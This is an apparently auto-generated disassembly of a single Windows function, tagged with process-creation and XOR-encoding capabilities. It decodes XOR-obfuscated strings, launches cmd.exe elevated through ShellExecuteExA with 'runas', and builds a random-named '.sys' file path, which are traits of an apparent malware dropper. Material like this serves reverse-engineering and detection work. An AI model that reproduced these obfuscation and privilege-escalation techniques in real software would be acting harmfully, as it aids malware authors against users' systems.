Function at 0x14000ba9c
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push rbx
push rsi
push r12
push r14
push r15
sub rsp, 0x2c0
xor ebx, ebx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov qword [rsp + 0x48], rbx
lea r14d, [rbx + 0xe]
mov qword [rsp + 0x50], r14
lea ecx, [rbx + 0xf]
mov qword [rsp + 0x58], rcx
xor eax, eax
mov qword [rsp + 0x40], rax
mov byte [rsp + 0x4e], bl
lea rsi, [rsp + 0x40]
movups xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [0x140012ab0]
movups xmmword [rsp + 0xf0], xmm1
movups xmm0, xmmword [0x140012ac0]
movups xmmword [rsp + 0x100], xmm0
movsd xmm1, qword [0x140012ad0]
movsd qword [rsp + 0x110], xmm1
mov eax, dword [0x140012ad8]
mov dword [rsp + 0x118], eax
movzx eax, word [0x140012adc]
mov word [rsp + 0x11c], ax
mov al, byte [0x140012ade]
mov byte [rsp + 0x11e], al
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
movabs rax, 0x842108421084211
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 5
imul rax, rax, 0x3e
sub rcx, rax
mov al, byte [rsp + rcx + 0xe0]
mov byte [rsi], al
inc rsi
sub r14, 1
jne 0x14000bae5
movups xmm0, xmmword [str.GFL_Y_]
movups xmmword [rsp + 0x60], xmm0
movsd xmm1, qword [0x140013760]
movsd qword [rsp + 0x70], xmm1
mov eax, dword [str.__toP]
mov dword [rsp + 0x78], eax
movzx eax, word [0x14001376c]
mov word [rsp + 0x7c], ax
mov r15d, 0x8d3dcb09
mov r12b, 0x33
cmp byte [0x14001376d], bl
je 0x14000bbfe
mov r8d, ebx
lea r9, [rsp + 0x60]
mov eax, r15d
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x1e
jl 0x14000bbd8
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000ebb0
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov rcx, rax
call fcn.14000f708
lea rdx, [0x14000ed20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movaps xmm0, xmmword [0x140013620]
movups xmmword [rsp + 0xe0], xmm0
movaps xmm1, xmmword [0x140013630]
movups xmmword [rsp + 0xf0], xmm1
movaps xmm0, xmmword [0x140013640]
movups xmmword [rsp + 0x100], xmm0
movaps xmm1, xmmword [0x140013650]
movups xmmword [rsp + 0x110], xmm1
movaps xmm0, xmmword [0x140013660]
movups xmmword [rsp + 0x120], xmm0
movaps xmm1, xmmword [0x140013670]
movups xmmword [rsp + 0x130], xmm1
movsd xmm0, qword [0x140013680]
movsd qword [rsp + 0x140], xmm0
movzx eax, word [0x140013688]
mov word [rsp + 0x148], ax
mov r8d, ebx
lea r9, [rsp + 0xe0]
mov eax, r15d
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x6a
jl 0x14000bcc2
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0xe0]
or r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rax + r8], bl
jne 0x14000bd08
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x60]
call fcn.14000eea4
nop
mov eax, dword [0x140013814]
mov dword [rsp + 0x2f0], eax
mov al, byte [0x140013818]
mov byte [rsp + 0x2f4], al
mov r8d, ebx
lea r9, [rsp + 0x2f0]
mov eax, r15d
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 5
jl 0x14000bd49
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xd0], xmm1
lea rax, [rsp + 0x2f0]
mov r8, r14
inc r8
cmp byte [rax + r8], bl
jne 0x14000bd91
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0xc0]
call fcn.14000eea4
nop
movups xmm0, xmmword [str.PAGZ]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [0x140013410]
movups xmmword [rsp + 0xf0], xmm1
mov eax, dword [0x140013420]
mov dword [rsp + 0x100], eax
mov r8d, ebx
lea r9, [rsp + 0xe0]
mov eax, r15d
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x24
jl 0x14000bde6
xorps xmm0, xmm0
movups xmmword [rsp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1e0], xmm1
lea rax, [rsp + 0xe0]
mov r8, r14
inc r8
cmp byte [rax + r8], bl
jne 0x14000be2e
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x1d0]
call fcn.14000eea4
nop
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x1d0]
call fcn.14000e250
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x150], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x160], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x1f0]
call fcn.14000e7e4
nop
lea r8, [rsp + 0x60]
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.14000e7e4
nop
mov rdx, qword [rsp + 0x208]
mov esi, 0x1000
cmp rdx, 0x10
jb 0x14000beff
inc rdx
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, rsi
jb 0x14000befa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000befa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000fe48
movdqa xmm0, xmmword [0x14001bfd0]
movdqu xmmword [rsp + 0x200], xmm0
mov byte [rsp + 0x1f0], bl
mov rdx, qword [rsp + 0x168]
cmp rdx, 0x10
jb 0x14000bf5a
inc rdx
mov rcx, qword [rsp + 0x150]
mov rax, rcx
cmp rdx, rsi
jb 0x14000bf54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bf54
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000fe48
nop
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 0x10
jb 0x14000bf9c
inc rdx
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, rsi
jb 0x14000bf97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bf97
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000fe48
movdqa xmm0, xmmword [0x14001bfd0]
movdqu xmmword [rsp + 0x1e0], xmm0
mov byte [rsp + 0x1d0], bl
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0x10
jb 0x14000bff7
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, rsi
jb 0x14000bff1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bff1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000fe48
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14000c033
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, rsi
jb 0x14000c02e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c02e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000fe48
mov eax, dword [0x140013368]
mov dword [rsp + 0x2f0], eax
cmp byte [0x14001336b], bl
je 0x14000c079
mov r8d, ebx
lea r9, [rsp + 0x2f0]
mov eax, r15d
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 4
jl 0x14000c053
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x2f0]
inc r14
cmp byte [rax + r14], bl
jne 0x14000c092
mov r8, r14
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0x60]
call fcn.14000eea4
nop
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae r8, qword [rsp + 0x60]
mov r9, qword [rsp + 0x70]
lea rcx, [rsp + 0xa0]
call fcn.14000e6ec
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14000c111
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, rsi
jb 0x14000c10c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c10c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000fe48
mov r14d, 0x70
mov r8d, r14d
xor edx, edx
lea rcx, [rsp + 0x210]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x210], r14d
mov dword [rsp + 0x214], 0x40
mov qword [rsp + 0x218], rbx
lea rax, str.runas
mov qword [rsp + 0x220], rax
lea rax, str.cmd.exe
mov qword [rsp + 0x228], rax
lea rax, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0x10
cmovae rax, qword [rsp + 0xa0]
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x238], rbx
mov dword [rsp + 0x240], ebx
mov qword [rsp + 0x248], rbx
movups xmm0, xmmword [0x1400133a0]
movups xmmword [rsp + 0x60], xmm0
movsd xmm1, qword [0x1400133b0]
movsd qword [rsp + 0x70], xmm1
mov al, byte [0x1400133b8]
mov byte [rsp + 0x78], al
mov r8d, ebx
lea r9, [rsp + 0x60]
mov eax, r15d
mul r8d
shr edx, 5
movsx eax, dl
imul edx, eax, 0x3a
mov al, r8b
sub al, dl
add al, r12b
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x19
jl 0x14000c1c7
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000ebb0
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov rcx, rax
call fcn.14000f708
lea rdx, [0x14000ed20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x210]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov edx, 0xbb8
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x2f8]
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm0, xmmword [0x140012fe0]
movups xmmword [rsp + 0x150], xmm0
movaps xmm1, xmmword [0x140012ff0]
movups xmmword [rsp + 0x160], xmm1
movaps xmm0, xmmword [0x140013000]
movups xmmword [rsp + 0x170], xmm0
movaps xmm1, xmmword [0x140013010]
movups xmmword [rsp + 0x180], xmm1
mov eax, dword [0x140013020]
mov dword [rsp + 0x190], eax
mov al, byte [0x140013024]
mov byte [rsp + 0x194], al
mov r8d, ebx
lea r9, [rsp + 0x150]
mov eax, r15d
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x45
jl 0x14000c2d3
lea rcx, [rsp + 0x150]
call fcn.140001020
movups xmm0, xmmword [0x140013898]
movups xmmword [rsp + 0x60], xmm0
mov eax, dword [0x1400138a8]
mov dword [rsp + 0x70], eax
cmp byte [0x1400138ab], bl
je 0x14000c352
mov r8d, ebx
lea r9, [rsp + 0x60]
mov eax, r15d
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
sub al, cl
add al, r12b
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x14
jl 0x14000c32c
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000ebb0
mov r15, rax
movabs r14, 0x7fffffffffffffff
mov rax, r14
mov rcx, qword [rsp + 0x50]
sub rax, rcx
cmp rax, 0x14
jb 0x14000c720
lea rax, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rax, qword [rsp + 0x40]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x14
lea rcx, [rsp + 0xc0]
call fcn.14000f5ec
nop
lea rdx, [rsp + 0xc0]
cmp qword [rsp + 0xd8], 0x10
cmovae rdx, qword [rsp + 0xc0]
mov r8, qword [rsp + 0xd0]
mov rcx, r15
call fcn.14000f708
lea rdx, [0x14000ed20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0x10
jb 0x14000c434
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, rsi
jb 0x14000c42f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c42f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000fe48
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x2f0], rax
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xe0]
call fcn.14000e370
mov r15, rax
mov rcx, qword [rsp + 0x50]
sub r14, rcx
cmp r14, 0x14
jb 0x14000c726
lea rax, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rax, qword [rsp + 0x40]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x14
lea rcx, [rsp + 0x80]
call fcn.14000f5ec
nop
mov rcx, qword [rsp + 0x90]
mov rax, qword [rsp + 0x98]
sub rax, rcx
cmp rax, 4
jb 0x14000c4f1
lea rax, [rcx + 4]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x80]
cmp qword [rsp + 0x98], 0x10
cmovae rax, qword [rsp + 0x80]
mov dword [rax + rcx], 0x7379732e
mov byte [rax + rcx + 4], bl
lea rax, [rsp + 0x80]
jmp 0x14000c513
mov qword [rsp + 0x20], 4
lea r9, str..sys
mov edx, 4
lea rcx, [rsp + 0x80]
call fcn.14000f464
xorps xmm0, xmm0
movups xmmword [rsp + 0x198], xmm0
mov qword [rsp + 0x1a8], rbx
mov qword [rsp + 0x1b0], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x198], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1a8], xmm1
mov qword [rax + 0x10], rbx
mov r12d, 0xf
mov qword [rax + 0x18], r12
mov byte [rax], bl
mov rdx, r15
lea rcx, [rsp + 0x198]
call fcn.14000aee4
mov r14d, eax
mov rdx, qword [rsp + 0x98]
cmp rdx, 0x10
jb 0x14000c5aa
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, rsi
jb 0x14000c5a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c5a5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000fe48
movdqa xmm0, xmmword [0x14001bfd0]
movdqu xmmword [rsp + 0x90], xmm0
mov byte [rsp + 0x80], bl
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x14000c604
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, rsi
jb 0x14000c5ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c5ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000fe48
movdqa xmm0, xmmword [0x14001bfd0]
movdqu xmmword [rsp + 0xb0], xmm0
mov byte [rsp + 0xa0], bl
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000c658
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, rsi
jb 0x14000c653
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c653
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000fe48
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], r12
mov byte [rsp + 0x40], bl
mov eax, r14d
jmp 0x14000c710
add rsp, 0x2c0
pop r15
pop r14
pop r12
pop rsi
pop rbx
ret
call fcn.140009e68
nop
call fcn.140009e68
int3